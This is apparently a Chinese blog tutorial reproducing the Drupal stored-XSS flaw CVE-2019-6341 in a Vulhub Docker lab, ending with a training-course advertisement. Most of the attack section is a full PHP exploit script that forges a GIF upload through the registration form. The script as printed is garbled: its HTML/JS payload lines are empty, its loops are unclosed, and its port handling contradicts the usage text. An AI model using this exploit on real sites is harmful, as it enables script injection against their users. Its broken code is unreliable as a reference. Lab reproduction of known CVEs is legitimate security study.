Drupal漏洞复现:CVE-2019-6341
近期遇到Drupal漏洞,研究了一下,给大家分享一篇复现,望共鸣
前言:
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
好哥哥,你等会,你刚才讲的docker我听了个大概,这docker-compose又是啥玩应啊?
docker-compose是用python写的一个docker容器管理工具,可以一键启动多个容器、可以一键日卫星。。。。。。假的假的,别信。
咱们要先下载漏洞镜像,然后再配置端口映射运行,或者有其它操作,把所有的这些操作都写在docker-compose的配置文件里,我们就可以运行docker-compose来一键执行这些操作,说白了就是方便。
Vulhub下载地址:https://github.com/vulhub/vulhub
漏洞简介:
漏洞编号:CVE-2019-6341,影响的是:在7.65之前的Drupal 7版本; 8.6.13之前的Drupal 8.6版本; 8.5.14之前的Drupal 8.5版本,可进行XSS攻击。
Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架)。
环境启动:
下载好Vulhub之后,我们来到漏洞所在的文件夹,使用命令启动环境,然后进行相应的配置。
来到漏洞所在文件夹
先提升为管理员权限,使用:
sudo su
然后进入对应漏洞的文件夹,启动漏洞环境:
docker-compose up -d
查看正在运行的容器环境:
docker ps
映射到了8080端口,浏览器输入:ip:8080 ,即可访问。
前面几步默认,直接next,然后需要安装数据库,我们选择 sqlite 数据库
然后输入相应的内容安装即可完成。
漏洞复现:
该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。
Drupal 的图片默认存储位置为 /sites/default/files/pictures/
$$
PS:利用POC放在文章末尾了。
$$
输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP,第二个参数为目标端口:
php Test.php 192.168.3.164 8080
然后访问 IP:8080/sites/default/files/pictures/YYYY-MM ,后面的YYYY-MM 改成当前年月,如:
127.0.0.1:8080/sites/default/files/pictures/2021-10/_0
可能出现的问题:
- Google Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证漏洞是否成功时可使用 Edge 浏览器或者 IE 浏览器。
- 访问的图片名称为_0的原因是因为 Drupal 的规则机制。
文章中用到的POC:
<?php
/*
usage: php poc.php
Date: 1 March 2019
Exploit Author: TrendyTofu
Original Discoverer: Sam Thomas
Version: <= Drupal 8.6.2
Tested on: Drupal 8.6.2 Ubuntu 18.04 LTS x64 with ext4.
Tested not wokring on: Drupal running on MacOS with APFS
CVE : CVE-2019-6341
Reference: https://www.zerodayinitiative.com/advisories/ZDI-19-291/
*/
$host = $argv[1];
$port = 80;
$pk = "GET /user/register HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
"Accept-Language: en-US,en;q=0.5\r\n".
"Referer: //".$host."/user/login\r\n".
"Connection: close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
fclose($fp);
preg_match('/name="form_build_id" value="(.*)"/', $out, $match);
$formid = $match[1];
//var_dump($formid);
//echo "form id is:". $formid;
//echo $out."\n";
sleep(1);
$data =
"Content-Type: multipart/form-data; boundary=---------------------------60928216114129559951791388325\r\n".
"Connection: close\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"mail\"\r\n".
"\r\n".
"test324@example.com\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"name\"\r\n".
"\r\n".
"test2345\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"files[user_picture_0]\"; filename=\"xxx\xc0.gif\"\r\n".
"Content-Type: image/gif\r\n".
"\r\n".
"GIF\r\n".
"\r\n".
"
\r\n"."\r\n".
"\r\n".
"
\r\n"."\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][fids]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"user_picture[0][display]\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_build_id\"\r\n".
"\r\n".
//"form-KyXRvDVovOBjofviDPTw682MQ8Bf5es0PyF-AA2Buuk\r\n".
$formid."\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"form_id\"\r\n".
"\r\n".
"user_register_form\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"contact\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"timezone\"\r\n".
"\r\n".
"America/New_York\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n".
"\r\n".
"user_picture_0_upload_button\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n".
"\r\n".
"Upload\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"_drupal_ajax\"\r\n".
"\r\n".
"1\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n".
"\r\n".
"bartik\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n".
"\r\n".
"\r\n".
"-----------------------------60928216114129559951791388325\r\n".
"Content-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n".
"\r\n".
"bartik/global-styling,classy/base,classy/messages,core/drupal.ajax,core/drupal.collapse,core/drupal.timezone,core/html5shiv,core/jquery.form,core/normalize,file/drupal.file,system/base\r\n".
"-----------------------------60928216114129559951791388325--\r\n";
$pk = "POST /user/register?element_parents=user_picture/widget/0&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0\r\n".
"Accept: application/json, text/javascript, */*; q=0.01\r\n".
"Accept-Language: en-US,en;q=0.5\r\n".
"X-Requested-With: \r\n".
"Referer: http://" .$host. "/user/register\r\n".
"Content-Length: ". strlen($data). "\r\n".
$data;
echo "uploading file, please wait...\n";
for ($i =1; $i <= 2; $i++){
$fp = fsockopen($host,$port,$e,$err,1);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
$out.=fread($fp,1);
fclose($fp);
echo "Got ".$i."/2 500 errors\n";
//echo $out."\n";
sleep(1);
echo "please check /var/www/html/drupal/sites/default/files/pictures/YYYY-MM\n";
?>
更多渗透干货,漏洞利用分享持续关注雨笋教育
渗透测试技术公开课学习:https://ke.qq.com/course/3383785